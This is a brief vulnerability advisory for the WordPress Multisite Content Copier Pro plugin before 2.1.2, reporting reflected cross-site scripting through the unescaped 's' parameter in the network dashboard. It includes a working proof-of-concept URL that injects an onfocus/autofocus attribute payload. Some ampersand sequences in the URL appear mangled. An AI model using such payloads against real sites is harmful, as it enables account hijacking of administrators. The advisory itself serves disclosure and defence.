The plugin does not sanitise and escape the s parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting issue in the network dashboard
https://example.com/wp-admin/network/admin.php?page=wordpress-multisite-content-copier&s;=dxsqp"+onfocus%3Dalert(1)+autofocus%3D+p00d5qdcwad&wmcc;_records[0]=1&wmcc;_content_type=post&wmcc;_source_blog=4&wmcc;_record_per_page=10&wmcc;_destination_blogs[0]=1&wmcc;_destination_blogs[1]=2&wmcc;_destination_blogs[2]=3&wmcc;_destination_blogs[3]=5©_media=1©_terms=1&wmcc;_submit=Copy%2FUpdate
CPE | Name | Operator | Version |
---|---|---|---|
wp-multisite-content-copier-pro | lt | 2.1.2 |